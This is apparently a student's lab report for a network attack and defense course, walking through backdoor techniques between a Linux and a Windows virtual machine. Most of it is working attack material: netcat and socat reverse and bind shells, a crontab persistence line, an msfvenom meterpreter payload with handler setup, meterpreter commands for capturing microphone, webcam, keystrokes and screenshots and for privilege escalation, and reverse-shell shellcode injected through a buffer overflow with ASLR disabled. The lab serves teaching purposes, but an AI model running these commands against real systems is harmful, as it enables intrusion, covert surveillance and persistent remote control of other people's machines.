2019-2020-2 20175309刘雨恒 《网络对抗技术》EXP2后门原理与实践

一、实验任务

1.实验内容

(1)使用netcat获取主机操作Shell,cron启动。
(2)使用socat获取主机操作Shell, 任务计划启动。
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.基础知识

后门定义:
·后门就是不经过正常认证流程而访问系统的通道。
后门存在于:
·编译器留后门
·操作系统留后门
·最常见的当然还是应用程序中留后门
·还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

二、实验步骤

1.使用netcat获取主机操作Shell,cron启动

1.1 Windows获得Linux主机操作shell
·windows中win+r输入cmd打开终端,输入ipconfig查看windows的IP地址

·可以看到windows的IP地址为192.168.33.1
·关闭windows防火墙,在linux端ping192.168.33.1,保证两台机器能ping的通

·进入ncat.exe的目录下,输入命令ncat.exe -l -p 5309打开监听。

·linux使用命令nc 192.168.33.1 5309 -e /bin/sh反弹连接windows。

·这时windows已经可以运行linux的指令了,比如pwd,ls

1.2Linux获得Windows主机操作shell
·打开Linux终端,输入ifconfig查看linux的IP地址

·可以看到linux的IP地址为192.168.95.128
·linux端输入命令nc -l -p 5309打开监听。

·windows端使用命令ncat.exe -e cmd.exe 192.168.95.128 5309反弹连接linux。

·linux获得windows的主机操作shell

1.3corn启动
·linux使用命令crontab -e并选择3进入编辑模式
·在最后一行添加40 * * * * /bin/netcat 192.168.1.4 5334 -e /bin/sh,意思是在每个小时的第40分钟执行后面的指令。(这个数字可以修改)

·等到某点40分,重复上面1.1的步骤,成功建立连接,双方可传递数据或者聊天。

2.使用socat获取主机操作Shell, 任务计划启动。

·右键windows的计算机,点击管理-->任务计划程序-->创建任务
·设置你的专属任务名称

·进入操作页面,程序与脚本中选择socat的路径
·添加参数一栏填入tcp-listen:5309 exec:cmd.exe,pty,stderr

·进入触发器界面,自定义触发时间

·到了13:52,socat自动触发了

·linux使用命令socat -tcp:192.168.95.1:5309连接windows,就可以获得windows的主机操作shell了。

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shel

·linux使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 -f exe > backdoor5309.exe来生成后门程序

·windows使用命令ncat.exe lv 5309 > backdoor5309.exe来查看连接状态。
·linux使用命令nc 192.168.95.1 5309 < backdoor5309.exe传输后门程序。

·传输成功。

·linux使用msfconsole命令进入msf控制台,输入下面这些命令。

use exploit/multi/handler//使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp//使用和生成后门程序时相同的payload
set LHOST 192.168.95.128//此处为linux的IP地址
set LPORT 5309//使用相同的端口
show options//查看设置

·linux入exploit开始监听。
·windows中运行后门程序,成功获得windows的主机操作shel,输入dir可以验证

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

·linux使用record_mic命令截取一段音频

·linux使用webcam_snap命令获取摄像头拍摄内容

·linux使用keyscan_start命令记录击键的过程,使用keyscan_dump命令读取击键记录

·linux使用screenshot命令截屏

·linux使用getuid命令查看当前用户,使用getsystem命令进行提权操作。

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

·在官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件
·提取其中的机器码留作备用\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
·linux中使用命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。

·使用命令perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode将perl生成的字符串储存到input_shellcode中。
·使用命令(cat input_shellcode;cat) | ./pwn1注入这段攻击buf。
·再打开另外一个终端使用命令ps -ef | grep pwn1找到pwn1的进程号:3056。

·启动gdb调试,输入attach 3056
·使用命令disassemble foo,查看ret的地址,之后设置断点。
·在另一个终端按下回车。
·返回到这个终端,输入c继续运行。

·使用命令info r esp查看栈指针的位置。
·发现数据是0*ffffd2fc,那么我所需要修改成0*ffffd2fc+4=0*ffffd300

·打开一个终端使用命令msfconsole打开msf控制台,输入以下命令。

use exploit/multi/handler//设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1//设置ip
set LPORT 4444//设置端口
show options//查看选项
exploit //设置完成,开始监听

·在另一终端使用命令cat input_shellcode;cat) | ./pwn1运行pwn1,可以看出来已经成功调取了shell。

三、实验中遇到的问题。

linux中输入ifconfig命令显示未找到命令。

解决办法:输入命令export PATH=$PATH:/sbin即可。(不过貌似下次开机后就不好使了,还得重新设置一遍)

四、基础问题回答。

1.例举你能想到的一个后门进入到你系统中的可能方式?
答:下载了第三方软件,尤其是有被迫捆绑下载的那种。
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:任务定时启动。
3.Meterpreter有哪些给你映像深刻的功能?
答:获取摄像头,点开照片突然看到自己的脸的时候还是挺恐怖的。
4.如何发现自己有系统有没有被安装后门?
答:杀毒软件查杀、防火墙提醒等等。

五、实验心得。

难度并不难,但是很费时间,两个主机来回切换输入双方的IP地址搞得人晕头转向,不过大概晓得了后门程序的使用。最后一个加分项还用到了第一次的实验,万幸第一次实验做了3、4遍比较熟悉,要不然光按回车和地址加4就够折磨人的了。

posted @ 2020-03-15 00:32  20175309lyh  阅读(207)  评论(3编辑  收藏  举报